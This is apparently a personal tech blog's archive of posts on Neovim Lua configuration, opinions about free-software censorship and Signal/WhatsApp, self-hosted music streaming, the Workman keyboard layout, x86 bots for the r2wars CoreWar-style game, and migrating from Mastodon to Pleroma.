So far, I’ve set up an event-driven observability pipeline (pictured below), some infosec work and the usual SRE stuff. I’ll probably write about the observability infrastructure in detail sometime—perhaps on the company blog.

I even managed to break prod within the first month! But in all seriousness, it’s pretty riveting work, with some very fun people.

projects

There haven’t been too many, I must be honest. I did briefly consider the idea of building a small SaaS—a simple email-based bookmarking service. Send a bunch of links you want to bookmark to an email address, and get back the entire webpage as a thread of emails.

I got as far as writing the backend for it, at forlater/donkey—a simple Flask app that pulls web pages and sends an email, on a webhook. And a helper tool forlater/mdawh in Go that takes mail in STDIN and sends a webhook to an endpoint. I used OpenSMTPD to call mdawh when mail arrived. Overall, a pretty simple system. Except, HTML email sucks. And the modern web sucks. I quickly got bored of it—dealing with websites not getting rendered correctly, email delivery being pretty shit overall and the fact that nobody would actually use something like this, let alone pay for it. Of course, I could be wrong and someone looking for a service like this could be out there—and if they’re reading this, please email me!

That said, I’m open to revisiting this project sometime. Perhaps with a different use-case, even.

reading

In 2020, I began getting into the Cosmere. I’ve read nearly all the books in it, save for the Mistborn series, which I’m reading at present. Still in Era 1, having finished The Final Empire and The Well of Ascension. I’m taking a break before I dive into The Hero of Ages.

Aside from high fantasy reading, I’ve begun spending some time reading the essays at Slate Star Codex—more specifically, the selected few at https://www.slatestarcodexabridged.com.

learning Russian

I’d begun learning Russian sometime last year, but stopped studying it for about 6 months or so. Recently, I decided to pick it up again after coming across this video by Johnny Harris on how he learnt Italian. In essence, he talks about why the textbook method of learning a language, i.e., the grammar: conjugations, rules, exceptions, etc. is ineffective. Instead, he suggests starting with learning the 1000 most frequently used words in that language which helps build an intuition for the language.

I’ve found two decks from the publicly shared decks to be really good: 1000 frequently used words, 7000 sentences in order of difficulty. This lets me 1) learn the basics (vocabulary, sentence construction) and start applying them in making my own sentences and learning the grammar intuitively, instead of memorizing rules and conjugations.

fitness

For a good portion of last year, I was unable to get any physical exercise done—gyms were closed, running downstairs just wasn’t fun. Early this year, before wave 2 of the virus, the gyms here opened for a brief bit and I managed to get some swole on. They’re closed again, now but I’ve taken to running about 3 - 4 km everyday. It’s still quite boring compared to lifting, but it needs to be done.

that’s it

I’ve hit a writer’s block, so to speak, with this blog. I have a few ideas for future posts, but they require actual research (read: I can’t just pull up Vim and type away), so they will remain as ideas for now. If you have some ideas for things I can write about, please shoot them my way.

Free software should not censor

2021-04-07T00:00:00Z

If you write free software, don't deny freedom zero

Any software is free, if it grants the users the four essential freedoms:

freedom 0: The freedom to run the program as you wish, for any purpose.
freedom 1: The freedom to study how the program works, and change it so it does your computing as you wish
freedom 2: The freedom to redistribute copies so you can help others.
freedom 3: The freedom to distribute copies of your modified versions to others.

Denying any one of these freedoms makes your software nonfree. As it happens, some free software project maintainers think it’s OK to impose their political / ideological stances on who can use their software, and for what purpose it can be used. They are violating the zeroth freedom to advance their political agendas. Here are a couple of examples.

case one: Tusky

Tusky is a free software (GPL 3.0) Android client for the fediverse—thematically, Mastodon. They Rick Roll users who try to connect to instances they disagree with. You don’t get to decide for your users! And the irony here is its a client for a supposedly censorship-resistant network. This is in violation of freedom zero.

Funnily enough, Tusky recently got removed from the Play Store for serving “objectionable content”.

They don’t seem to understand that one can view any content with Tusky and that it is not possible for the app developers to check any of it. -- https://chaos.social/@ConnyDuck/105904015276457450

A blatant lie! Doesn’t feel good when someone else decides things for you, now, does it?

case two: Lemmy

Also a fediverse application—a federated Reddit clone (AGPL 3.0). They have a hardcoded slur filter that they refuse to remove, or at the very least, make configurable. This is just plain bad engineering for the sake of politics.

Both of these software are released under free software licenses, and are clearly nonfree. Stop doing this—it benefits nobody. You probably feel like you’re “making a change”, but guess what: you’re not. It is mere virtue signalling. Don’t enforce your political agendas on your users.

Censorship is bad for everyone, and it usually never ends well. There is no “correct” way to censor—so don’t even try! If you don’t want your software to be “misused”, release it under a license that is capable of enforcing that.¹

Protip: you can’t. Ethical source licenses exist, but they’re practically dead in the water. ↩︎

Configuring Neovim using Lua

2021-02-07T00:00:00Z

And switching from init.vim to init.lua

If you, like me, never really understood Vimscript and hate the language with a passion, you’re in the right place! You can now get rid of Vimscript wholesale and replace it with a simpler, faster and elegant-er language—Lua! However, this is only possible from Neovim 0.5 onwards¹ and as of now, requires you to install Neovim from HEAD. How to do that is left as an exercise to the reader. Also bear in mind that the Lua API is fairly beta right now, and many Vim things don’t have direct interfaces.

So assuming you’re now running Neovim master, head over to ~/.config/nvim and create your init.lua. Why, yes, we’re porting over your init.vim to init.lua right now! Clear your calendar for the next few hours—bikeshedding your text editor is top priority!

I also recommend going through nanotee/nvim-lua-guide and Learn Lua in Y minutes before starting off.

the directory structure

Lua files are typically under ~/.config/nvim/lua, and can be loaded as Lua modules. This is incredibly powerful—you can structure your configs however you like.

$ tree .config/nvim
.
|-- ftplugin
|   `-- ...
|-- init.lua
|-- lua
|   |-- maps.lua
|   |-- settings.lua
|   |-- statusline.lua
|   `-- utils.lua
`-- plugin
    `-- ...

The common approach is to have different bits of your config in Lua files under lua/ and require’d in your init.lua, so something like:

-- init.lua

require('settings')    -- lua/settings.lua
require('maps')        -- lua/maps.lua
require('statusline')  -- lua/statusline.lua

the basics: setting options

Vim has 3 kinds of options—global, buffer-local and window-local. In Vimscript, you’d just set these. In Lua, however, you will have to use one of

vim.api.nvim_set_option()—global options
vim.api.nvim_buf_set_option()—buffer-local options
vim.api.nvim_win_set_option()—window-local options

These are fairly verbose and very clunky, but fortunately for us, we have “meta-accesors” for these: vim.{o,wo,bo}. Here’s an excerpt from my settings.lua as an example:

local o = vim.o
local wo = vim.wo
local bo = vim.bo

-- global options
o.swapfile = true
o.dir = '/tmp'
o.smartcase = true
o.laststatus = 2
o.hlsearch = true
o.incsearch = true
o.ignorecase = true
o.scrolloff = 12
-- ... snip ... 

-- window-local options
wo.number = false
wo.wrap = false

-- buffer-local options
bo.expandtab = true

If you’re not sure if an option is global, buffer or window-local, consult the Vim help! For example, :h 'number':

'number' 'nu'           boolean (default off)
                        local to window

Also note that you don’t set the negation of an option to true, like wo.nonumber = true, you instead set wo.number = false.

defining autocommands

Unfortunately, autocommands in Vim don’t have a Lua interface—it is being worked on.² Until then, you will have to use vim.api.nvim_command(), or the shorter vim.cmd(). I’ve defined a simple function that takes a Lua table of autocmds as an argument, and creates an augroup for you.

-- utils.lua

local M = {}
local cmd = vim.cmd

function M.create_augroup(autocmds, name)
    cmd('augroup ' .. name)
    cmd('autocmd!')
    for _, autocmd in ipairs(autocmds) do
        cmd('autocmd ' .. table.concat(autocmd, ' '))
    end
    cmd('augroup END')
end

return M

-- settings.lua
local cmd = vim.cmd
local u = require('utils')

u.create_augroup({
    { 'BufRead,BufNewFile', '/tmp/nail-*', 'setlocal', 'ft=mail' },
    { 'BufRead,BufNewFile', '*s-nail-*', 'setlocal', 'ft=mail' },
}, 'ftmail')

cmd('au BufNewFile,BufRead * if &ft == "" | set ft=text | endif')

defining keymaps

Keymaps can be set via vim.api.nvim_set_keymap(). It takes 4 arguments: the mode for which the mapping will take effect, the key sequence, the command to execute and a table of options (:h :map-arguments).

-- maps.lua

local map = vim.api.nvim_set_keymap

-- map the leader key
map('n', '<Space>', '', {})
vim.g.mapleader = ' '  -- 'vim.g' sets global variables


options = { noremap = true }
map('n', '<leader><esc>', ':nohlsearch<cr>', options)
map('n', '<leader>n', ':bnext<cr>', options)
map('n', '<leader>p', ':bprev<cr>', options)

For user defined commands, you’re going to have to go the vim.cmd route:

local cmd = vim.cmd

cmd(':command! WQ wq')
cmd(':command! WQ wq')
cmd(':command! Wq wq')
cmd(':command! Wqa wqa')
cmd(':command! W w')
cmd(':command! Q q')

managing packages

Naturally, you can’t use your favourite Vimscript package manager anymore, or at least, not without vim.api.nvim_execing a bunch of Vimscript (ew!). Thankfully, there are a few pure-Lua plugin managers available to use³—I personally use, and recommend paq. It’s light and makes use of the vim.loop API for async I/O. paq’s docs are plentiful, so I’ll skip talking about how to set it up.

bonus: writing your own statusline

Imagine using a bloated, third-party statusline, when you can just write your own.⁴ It’s actually quite simple! Start by defining a table for every mode:

-- statusline.lua

 local mode_map = {
	['n'] = 'normal ',
	['no'] = 'n·operator pending ',
	['v'] = 'visual ',
	['V'] = 'v·line ',
	['�'] = 'v·block ',
	['s'] = 'select ',
	['S'] = 's·line ',
	['�'] = 's·block ',
	['i'] = 'insert ',
	['R'] = 'replace ',
	['Rv'] = 'v·replace ',
	['c'] = 'command ',
	['cv'] = 'vim ex ',
	['ce'] = 'ex ',
	['r'] = 'prompt ',
	['rm'] = 'more ',
	['r?'] = 'confirm ',
	['!'] = 'shell ',
	['t'] = 'terminal '
}

The idea is to get the current mode from vim.api.nvim_get_mode() and map it to our desired text. Let’s wrap that around in a small mode() function:

-- statusline.lua

local function mode()
	local m = vim.api.nvim_get_mode().mode
	if mode_map[m] == nil then return m end
	return mode_map[m]
end

Now, set up your highlights. Again, there isn’t any interface for highlights yet, so whip out that vim.api.nvim_exec().

-- statusline.lua

vim.api.nvim_exec(
[[
  hi PrimaryBlock   ctermfg=06 ctermbg=00
  hi SecondaryBlock ctermfg=08 ctermbg=00
  hi Blanks   ctermfg=07 ctermbg=00
]], false)

Create a new table to represent the entire statusline itself. You can add any other functions you want (like one that returns the current git branch, for instance). Read :h 'statusline' if you don’t understand what’s going on here.

-- statusline.lua

local stl = {
  '%#PrimaryBlock#',
  mode(),
  '%#SecondaryBlock#',
  '%#Blanks#',
  '%f',
  '%m',
  '%=',
  '%#SecondaryBlock#',
  '%l,%c ',
  '%#PrimaryBlock#',
  '%{&filetype}',
}

Finally, with the power of table.concat(), set your statusline. This is akin to doing a series of string concatenations, but way faster.

-- statusline.lua

vim.o.statusline = table.concat(stl)

this is what being tpope feels like

You can now write that plugin you always wished for! I sat down to write a plugin for fzy⁵, which you can find here along with my entire Neovim config⁶. I plan to port a the last of my plugin/ directory over to Lua, soon™.

And it’s only going to get better when the Lua API is completed. We can all be Vim plugin artists now.

https://github.com/neovim/neovim/pull/12235 ↩︎
https://github.com/neovim/neovim/pull/12378 ↩︎
Also see: packer.nvim ↩︎
This meme was made by NIH gang. ↩︎
A less bloated alternative to fzf, written in C. ↩︎
GitHub link— if you’re into that sort of thing.
↩︎

We can do better than Signal

2021-01-17T00:00:00Z

Centralized silos are never the solution

Signal is possibly the most recommended pro-privacy instant communication app—one that was commonplace in the hacker community, and has now gained a lot of mainstream traction, thanks to WhatsApp deciding to screw its userbase over. It certainly presents a more compelling alternative than others in the same space, like WhatsApp itself, Telegram, etc. They engineered the Signal Protocol, which has found its way into other messaging systems, and has been the base for the likes of OMEMO and Matrix.¹ While I admire the tech behind Signal, I still believe we can do better, and we ought to.

I have a few gripes with Signal—the biggest of them all is it’s centralized, and in the US no less. This alone makes it not that different from WhatsApp—we’re simply moving from one silo to another. What’s to say that Signal will uphold its values, continue operating and evade censorship and potential compromise? To top it off, they’re becoming a fairly high value target off late. And if that isn’t convincing enough, Signal’s massive outage lasting nearly a day² should be enough evidence against centralization. Further, Signal is known to use AWS³ as their cloud provider—what if another Parler⁴ happens and the rug is pulled from under Signal’s feet?

A common defense in favor of Signal is, “But it’s all open source!”. Sure is, but on what basis do I trust them? I don’t mean to sound conspiratorial, but what’s to say that the server in production hasn’t been backdoored? In fact, the Signal server code hasn’t even been updated since April 2020. You’re telling me it’s undergone no changes?

Another response I usually see is “But Signal is all we have!”. While that is somewhat true—at least by the metric of “secure messengers your granny can use”, there are some promising alternatives who are especially focused on decentralizing E2EE communications.

Matrix: Matrix has improved a whole lot, and I like that they’re working to disprove that end-to-end encryption cannot be decentralized⁵.
Session: While it involves some cryptoshit, and hasn’t been verified yet, it’s an interesting alternative to keep an eye out for.

All things said, Signal is the shiniest turd we have—it fits most threat models, and does the job alright; I will continue to use it. However, here’s something to think about: while privacy preserving tech is commendable, does it have to come at the cost of user freedoms? Hint: it doesn’t, and it shouldn’t.

What's next after WhatsApp?

2021-01-08T00:00:00Z

Let's not act surprised here, this was bound to happen

Update 2021–01–17: I’m now using Signal. It’s fine for now, but we can do better.

Ever since Facebook acquired WhatsApp for $19bn, it was blatantly obvious that they wanted in on the massive userbase, and consequently, the data they could collect. The acquisition wasn’t all too bad at first, I’ll admit—they added in full E2EE via the Signal Protocol, their privacy policy wasn’t all too bad, at least for a Facebook product. While I obviously didn’t enjoy using it—being the only non-free app on my phone—I could still put up with it, considering how ubiquitous it is here in India.

That will no longer be the case, however. With the new privacy policy introduced by WhatsApp, the below data will be collected and shared with Facebook and its associated companies (quoting from the privacy policy):

Account Information. Your phone number, profile name and photo, online status and status message, last seen status, and receipts may be available to anyone who uses our Services, although you can configure your Services settings to manage certain information available to other users.

Your Contacts and Others. Users with whom you communicate may store or reshare your information (including your phone number or messages) with others on and off our Services. You can use your Services settings and the block feature in our Services to manage the users of our Services with whom you communicate and certain information you share.

And if you don’t consent to these—i.e., you don’t click on “Agree” on the pop-up about the new terms, you can no longer use WhatsApp. Naturally, I didn’t.

Now, it’s fairly common knowledge that the entirety of India revolves around WhatsApp. Everything happens over WhatsApp. Invoices, shopping, general logistics and operations, and in my case—university communications. I’d even declare WhatsApp as “critical infrastructure”, like power and water; without which the country cannot function. That’s a scary thought in itself—imagine an entire nation relying on Facebook for something so pivotal.

So what are my options? I can either switch to a new messaging app, or ditch instant messaging altogether. Let’s explore these.

There are some neat potential alternatives to WhatsApp, the most popular one being Signal. While I think Signal is technically sound, I’m skeptical about using it primarily due to its centralized nature, hosted in the US. Moxie is openly against federation/decentralization.¹

And then there’s Session, a fork of Signal that aims to be completely decentralized. It uses onion routing, similar to Tor. It does involve some blockshit, but the actual messaging is all done over onion routing (they call it “onion requests”). From about 5 minutes of usage, I can tell that the app’s UI is very nicely done. It does suffer from severe UX issues though—you can’t add someone from your address book, rather, you have to paste their Session ID (a long alphanumeric) to initiate a conversation. In its current state, Session is more “tech for tech people” than “tech for the average user”.

And then there’s the issue of actually getting people to use an alternate messaging app. I know that 99% percent of the people I talk to on WhatsApp don’t care about the new privacy policy. I also know that they’re not going to switch for just one guy (me). Further, the network effects are enormous. Assuming they did switch, they’d then have to convince all their contacts to do so as well—which isn’t happening.

Which brings me to the second option: ditching IM completely. This option is starting to sound a lot better than having to talk to people about why Facebook is bad, and why privacy matters and why they should quit WhatsApp—for what will be the hundredth time. I don’t see any immediate downsides to it. Sure, I’ll miss out on some socializing but who am I kidding, it’s all mostly smalltalk anyway.

Perhaps that’s what I’ll end up doing—use WhatsApp until it works, and uninstall it after. Matters of immediate attention can be conveyed over a phone call. Otherwise, an SMS/email should do.

https://signal.org/blog/the-ecosystem-is-moving/ ↩︎

2020 in review

2020-12-24T00:00:00Z

Oh boy, here we go

It’s been a little over 9 months since the day I left my university dorms (got kicked out, rather), in light of the pandemic. I have my finals going on right now, and 5 days to go for the next examination—a great time to reflect on what I managed to do this year. So here I am, sitting at my little home office-thing, with a bad cold—as is tradition during December—writing this post. Let’s get to it!

interning at CometChat

I spent a good part of this year interning at CometChat, mostly working as an infrastructure engineer. I dabbled with some pretty neat tech—here’s a quick list of things I worked on:

XMPP over WebSockets (RFC 7395). Also wrote wsabi—a WebSocket proxy in Nim. Never got used, but cool nonetheless.
On-premise (bare metal) deployment of our stack using Docker Swarm.
Google Kubernetes Engine (GKE) deployment of our stack.

I think there’s value in adding that I experienced a paradigm shift in my view of tools like Kubernetes. I still think they’re bloated and abstraction heavy, but they exist to solve a problem—and they do it somewhat okay. In an ideal world, nobody would fall for the “cloud” meme, and wouldn’t toss everything into a container¹—but our world is far from that.

things I made

shlide: A slide deck presentation tool written in pure bash. Born from a conversation I had with a friend—quickly hacked it together over a weekend. Even used it for a talk I presented!
vite: Go rewrite of the static site generator I wrote in Python, way back in 2018. It was a misnomer, since it was far from vite.

other hackery

Self-hosted a bunch of services on my Pi. The only downtime is when my ISP goes down, which is thankfully not that often. Here’s a list of things running on my Pi right now:

radicale: Cal/CardDAV server
Pleroma: Single-user federated social media instance
filehost
gonic: Music streaming server
crxn: Cool network of cool people.
Few other things that Nerdy uses.

My OpenBSD install is still going strong! Started at 6.6, now on 6.8-current. This is most definitely my endgame OS—everything just works, and works very well.

I played r2wars this year, which was hella fun. A good exercise in assembly programming. I even placed 3rd, so that was awesome.

this blog

Evidently, this site has undergone quite a few visual changes. It’s no longer that all-black with white text, with occasional bits of cyan. My overall aesthetic has considerably mellowed down—prioritizing good typography over colors.

$ cat pages/blog/*.md | grep 'date: 2020-' | wc -l
      26

26 posts this year (including this)! That’s 8 more than the 18 I wrote last year—roughly 1 post every two weeks. Pretty good variety too—some technical, some less so…and some controversial. Heh.

onward and upward

Contrary to popular opinion, 2020 wasn’t all that bad—obviously, I only speak for myself. That said, I’m looking forward to 2021 for a number of reasons: for one, I’ll be done with college (finally!), and starting a full-time job at a company I find really exciting!

I have a few blog post ideas that I didn’t get around to writing this year, so expect to see a few of those. The new job will involve a lot of infra-related work—I’m certain my incredibly sought after insights on those things will find their way here, as well.

Anyway, I’m going to enjoy the rest of this year playing Runeterra and Halo MCC. On to greater things in 2021, and I’ll see you next year!

https://i.imgur.com/3eTKEZp.jpg ↩︎

My music streaming setup

2020-12-13T00:00:00Z

Think Spotify, but self-hosted and not as good

Having a self-hosted, centralized music streaming setup has been on my todo list for the longest time. I’d initially tried using NFS, but mounting it on my phone was very inconvenient. Incidentally, a few days ago, the existence of Subsonic/*sonic became known to me.

gonic

I found gonic to be the simplest of them all, and proceeded to set it up on the RPi. There are other alternatives too, like Navidrome, which ships with a web player, or Airsonic. gonic stood out the most to me because it’s effectively headless, barring a simple web interface for configuration.

Setting it up was trivial. I did run into an issue—I noticed that only songs that were already in folders, sorted by album, were being picked up in the scan.

|-- Void Of Vision - Hyperdaze (2019)
|   |-- 01. Overture.mp3
|   |-- 02. Year of the Rat.mp3
|   |-- 03. Babylon.mp3
|   |-- 04. If Only.mp3
|   |-- 05. Slave to the Name.mp3
|   |-- 06. Adrenaline.mp3
|   |-- 07. Hole In Me.mp3
|   |-- 08. Kerosene Dream.mp3
|   |-- 09. Decay.mp3
|   |-- 10. Splinter.mp3
|   |-- 11. Hyperdaze.mp3
|-- Volumes - Disaster Vehicle.mp3
|-- Volumes - Finite.mp3
|-- Volumes - Heavy Silence.mp3
|-- Volumes - Hope.mp3
|-- Volumes - Interlude.mp3
...

So, in a directory tree like above, only the tracks inside “Void Of Vision - Hyperdaze (2019)” would get picked up, and all the “Volumes” songs wouldn’t—since it wasn’t in a subfolder of its own.

As a workaround—and a necessary cleanup of my music—I figured I’d give beets a shot.

beets

beets is extensively documented, so I’ll skip the basics. In essence, it’s a music organization tool—fetches tags, sorts your collection, etc. Most of my music has been tagged already, so I skipped that. I only it all to be grouped by album. A bit of digging in the docs, and I found what I wanted: --group-albums.

And in my config.yaml, I specified my desired path format like so:

...
paths:
  default: $albumartist - $album%aunique{}/$track $title

Finally, running:

$ beet import --noautotag --move --group-albums path/to/dirty/music

$ tree ~/music
...

104 directories, 1108 files

Nice! gonic then happily scanned all my music.

actually streaming this music

On my laptop, I decided to just use the NFS share approach—primarily because I’d like to stick to cmus and desktop Subsonic clients like Sublime Music are very clunky.

On Android, there are quite a few options on F-Droid—I decided to go with Ultrasonic since it’s the only one that supports Last.fm scrobbling.

All things considered, I think I’m pretty satisfied with this. ‘twas a good weekend.

The Workman keyboard layout

2020-10-24T00:00:00Z

I have a lot of free time on my hands (heh)

I’ve been at my computer everyday, for at least 10 hours at minimum. These past ~6 - 7 months have been the most I’ve ever used my computer. Eventually, I started experiencing discomfort and pain—especially in my pinkie finger. Typing became a chore, and I found myself using my shell’s command history more just to avoid typing commands. I tried using a wrist rest, different keyboard heights, but nothing helped.

Thus began my search for a new keyboard layout, and it swiftly concluded once I chanced upon the Workman layout. According to the website, it is supposedly an improvement over Colemak and Dvorak. I skimmed through the numbers and other stats, but I honestly didn’t care. “Oh it’s better than the popular alternative layouts? Okay that’s enough for me.”

I downloaded the tarball containing the different config files for different platforms etc. I just needed the xmodmap—that’s the easiest way to apply a keyboard layout.

$ xmodmap xmodmap.workman

To practice the layout, I used keybr.com. You can configure the keyboard layout via the settings. Naturally, the first few days were incredibly painful. I was only able to type short sentences with very small words. I tried to not engage in heated discussions on IRC, for I could not type up a response in time. However, if I did stumble into one, I would switch back to QWERTY just for those couple of messages.

I found myself making the switch less and less, over the next few days. Chatting on IRC is a great way to learn a layout. Or chatting anywhere, really. It forces you to get accustomed to the layout by typing the common words used in conversation. I also made a tiny change to the layout—swapping the F and B keys, since typing the “fo” / “of” digram in the same hand felt really weird. Soon enough, I was averaging about 30 - 40 WPM within the first week of having switched to Workman.

And then things at work started to pick up, and I had to do what I had been dreading the most: edit code—in Vim. It’s fairly common knowledge that Vim, by default, extensively uses the H, J, K and L keys for navigation. Sure, there are better ways to move around and only using those keys is frowned upon—but it’s a habit built over years, and hard to shake off. After poking around for a bit, I found the vim-workman plugin. Forked it to apply the F/B change, and I began using it.

It was great at first. My Vim muscle memory was not hampered, as I was able to use QWERTY in normal mode, and Workman in insert. But as I got better at Workman, I found myself instinctively reaching for the Workman keys in normal mode. Well, everything except for the H, J, K and L keys. This quickly became bothersome and I uninstalled the plugin to search for a better solution.

Wait, don’t I have a sick new programmable mechanical keyboard? What if I configure a layer on it just for the H, J, K, L keys? After pouring through the manual for a bit, I eventually got it set up. I even remapped the Caps Lock key to Fn so it’s easier to access the layer. So now, hitting Caps Lock+Y/N/E/O results in HJKL being pressed. This took a little bit of getting used to, but it got easier with a bit of practice.

Since I don’t rely on any plugin/remappings, I can use Vim as is on remote machines too. Another bonus from this adventure was I actually spent time learning better ways to navigate, and reduce my reliance on HJKL. Overall, a big win.

It’s been over 4 weeks since my switch, I think, and I’m comfortably averaging around 80 WPM. Still a good 20 WPM slower than QWERTY, but I think it’ll get better with time. And am I still able to use QWERTY? Well, kinda. I still use QWERTY on my phone keyboard, since Workman isn’t an option on it and it’s actually alright. However, when I use my desktop to play Dota, I prefer using voice chat to communicate since typing on QWERTY takes too long—I am forced to hunt and peck. Interestingly, after about 15 - 20 minutes on QWERTY, my brain kinda just clicks back and I can type on it with relative ease. Not as fast as I used to be, but it’s manageable.

All things considered, switching to Workman was one of the better decisions I have made in life. It feels so nice to be able to type out whole words in just the home row. It just flows so nicely, and it has made typing so much more enjoyable again.

My submissions for r2wars 2020

2020-09-13T00:00:00Z

If I learnt one thing, it's that ARM is the future

r2wars is a CoreWar-like game thar runs within the radare2 ESIL virtual machine. In short, you have two programs running in a shared memory space (1kb), with the goal of killing the other and surviving as long as possible. r2wars was conducted as a part of r2con2020.

day 1

My first submission was an incredibly simple “bomber”. All it does is write code to a location, jump there, and continue executing the same thing over and over.

mov eax, 0xfeebfeeb; just some bad jumps
mov ebx, eax
mov ecx, eax
mov edx, eax
mov ebp, eax
mov edi, eax
mov esp, 0x3fc
mov esi, 0x3fd
mov [esi], 0xe6ff60
jmp esi

Specifically, it writes 0xe6ff60, which is

pushal
jmp esi

effectively looping over and over. pushal is a very interesting x86 instruction, that pushes all the registers and decrements the stack pointer esp by how many ever bytes were pushed. Nifty, especially if you’re looking for high throughput (to bomb the address space). Here, it starts bombing from 0x3fc - 0x000 (and below, because there’s no bounds checking in place), and ends up killing itself, since writing outside of the arena (0x000 - 0x400) is illegal.

Ultimately, this bot placed 7th out of 9 contestants—an underwhelming outcome. I had to fix this.

day 2

I sat for a second and recollected the different reasons for my bot getting killed, and the one that occurred the most was my bot insta-dying to bad instructions being written from 0x400—i.e. from near where I’m positioned. Nearly all competing bots write from bottom up, because pushal decrements the stack pointer. So the obvious solution was to reposition my initial payload way above, at 0x000. And of course, it goes without saying that this assumes everyone’s using pushal (they are).

mov eax, 0xffffffff
mov ecx, eax
mov edx, eax
mov ebx, eax
mov ebp, eax
mov esi, eax

check:
    mov edi, 0x000
    cmp [edi], 0
    jne planb
    mov esp, 0x400
    inc edi
    mov [edi], 0xe7ff6060; pushal, jmp edi
    jmp edi

planb:
    mov edi, 0x3fb
    mov [edi], 0xe7ff6060
    mov esp, 0x3fa
    jmp edi

I also added a (pretty redundant) check to see if the stuff at edi was 0, since the entire arena is initially 0x0. My reasoning, albeit flawed, was that if it wasn’t 0, then it was unsafe to go there. In hindsight, it would’ve been safer, since it’s already been written over by somebody. In any case, planb never got executed because of what I’d mentioned earlier—everyone writes from 0x400. Or anywhere above 0x000, for that matter. So I’m relatively safer than I was in day 1.

These changes paid off, though. I placed 4th on day 2, out of 13 contestants! This screenshot was taken on my phone as I was eating dinner.

All wasn’t well though—I still lost 4 matches, for the reasons below:

I’d get snuffed out before my bomb wave from 0x400 would reach the opponent.
I’d end up bombing myself without hitting anyone on the way up.

day 3

I needed to add some checks to prevent killing myself in the process of bombing.

mov eax, 0xffffffff
mov ecx, eax
mov edx, eax
mov ebx, eax
mov ebp, eax
mov esi, eax

mov edi, 0x000
mov esp, 0x400
mov [edi], 0x20fc8360
mov [edi+4], 0xff600374
mov [edi+8], 0x0400bce7
mov [edi+12], 0xe7ff0000
jmp edi

If you noticed, the initial payload I’m writing to the address at edi is a bit more complex this time—let’s break it down.

0x20fc8360
0xff600374
0x0400bce7
0xe7ff0000

This translates to:

60                pushal 
83 FC 20          cmp    esp, 0x20
74 03             je     9
60                pushal 
FF E7             jmp    edi
BC 04 00 00 00    mov    esp, 0x400; <- 0x9
FF E7             jmp    edi

I check if the stack pointer is 0x20 (decrements from 0x400 due to pushal); if yes, reset to 0x400, else continue looping. This prevented me from writing myself over, and also resets bombing from 0x400—better chance of hitting someone we missed in our first wave.

Sounds good? That’s what I thought too. Day 3 had a bunch of new bot submissions (and some updated submissions), and a lot of them checked 0x000 for existence of a bot, effectively recking me. I placed 8th out of 14 contestants, with 7 wins and 6 losses. Tough day.

day 4: the finals

I spent a lot of time refactoring my bot. I tried all kinds of things, even reworked it to be entirely mobile using the pushal + jmp esp trick, but I just wasn’t satisfied. In the end, I decided to address the problem in the simplest way possible. You’re checking 0x000? Okay, I’ll reposition my initial payload to 0xd.

And this surprisingly tiny change landed me in 4th place out of 15 contestants, which was way better than I’d anticipated! The top spots were all claimed by ARM, and naturally so—they had a potential throughput of 64 bytes per cycle thanks to stmia, compared to x86’s 32 bytes. Pretty neat!

links and references

closing thoughts

This was my first ever r2wars, and it was an incredible experience. Who woulda thunk staring at colored boxes on the screen would be so much fun?! So much so that my parents walked over to see what all the fuss was about. Shoutout to Abel and pancake for taking the time out to work on this, and especially Abel for dealing with all the last minute updates and bot submissions!

All things said, mine was still the best x86 bot—so that’s a win. ;)

Migrating from Mastodon to Pleroma

2020-09-04T00:00:00Z

Mastodon bad. Pleroma good.

If you’ve been following me on the fediverse, you would’ve witnessed my numerous (failed) attempts at migrating from Mastodon to Pleroma, running on my Raspberry Pi. I finally got it working, and these are the steps I took. It’s sort of a loose guide you could follow, but I can’t promise it’ll work for you.

The Erlang and Elixir packages are pretty broken and outdated on Raspbian. So this time, I built them from source.¹² I also assume you have Mastodon and Pleroma (source, not OTP) installed—probably at /home/mastodon/live and /opt/pleroma, respectively.

Once you have Erlang and Elixir compiled and sitting in your PATH, pull soapbox-pub/migrator. Now read the readme and the do_migration.sh script to get an idea of what you’re getting into.

Move into the cloned directory and create a .env:

MASTODON_PATH=/home/mastodon/live
PLEROMA_PATH=/opt/pleroma

Then, run:

$ yarn   # install deps
$ cp -r mastodon/* /home/mastodon/live
$ cp -r pleroma/* /opt/pleroma
$ RAILS_ENV=production yarn masto export

If you run into any permissions issues, chown and proceed. This should export all your Mastodon activity into /home/mastodon/live/migrator. Now, copy the migrator directory into your Pleroma installation path.

$ cp -r migrator /opt/pleroma

You can then import all of it into Pleroma (possibly prefixed with sudo -Hu pleroma):

$ MIX_ENV=prod mix migrator.import

If all went well, you would’ve successfully migrated from Mastodon to Pleroma. If not, well feel free to send me an email (or @ me on the fedi). I suppose you could also reach Alex—he’s the incredibly based guy who wrote the migrator, soapbox-fe and does some Elixir magic he keeps posting about.

Rest assured, the migrator has a 100% success rate—Alex and I are apparently the only two who have it working. ²⁄₂.

why should you migrate?

Because Pleroma is cleaner, leaner³ and prettier looking⁴. Oh, and we have chats.

Erlang install guide ↩︎
Elixir install guide ↩︎
Mastodon used about ~2.5 GB out of the 4 I have on my Pi. With Pleroma, the total used RAM is only about ~700 MB. That’s crazy!
↩︎
…with Soapbox. :^) ↩︎

The Ducky One 2 SF

2020-08-22T00:00:00Z

I fell for the mechanical keyboard meme

Thanks to the pandemic yada yada I’ve been working from home (and attending college from home), and I figured my WFH setup could use an upgrade. Unfortunately, the choices for mechanical keyboards in India are fairly limited. All imports from China don’t get through, and imports from elsewhere have a fat duty slapped on it—sometimes up to 300%¹. It’s obscene!

The only reliable source I’ve found (and folks on r/mkindia will concur), is Meckeys. They aren’t particularly abundant in variety, but there’s some decent prebuilts that you can pick up on there—and I copped the Ducky One 2 SF.

It’s a 65% board, so unlike standard 60% boards, this comes with arrow keys and the Del, PgUp and PgDn keys. I don’t really need the arrow keys, but they do come handy on the occasion—like scrolling, for example. Since this board lacks the function row, the Esc and the ~ keys are merged. I have to hit Shift + Esc for tilde (same action as usual), and Fn + Esc for the backtick. Takes a bit of relearning, but it’s manageable.

The key switches I went with were the Cherry MX Speed Silvers—like Reds but actuate a bit faster. As it’s my first ever mechanical keyboard, I don’t really have anything to compare it against. It feels great, but it was pretty jarring initially because even the slightest touch (with the palm for instance), would cause a key to actuate, leading to typos. Again, just a matter of getting accustomed to it; all smooth sailing after. Why did I pick the Speed Silvers? The other switch options were out of stock.

That said, I think I really quite like linear switches. They’re not too noisy, and they feel just right. I haven’t noticed any great improvement in my typing speeds though—I still maintain an average of 90–100 WPM.

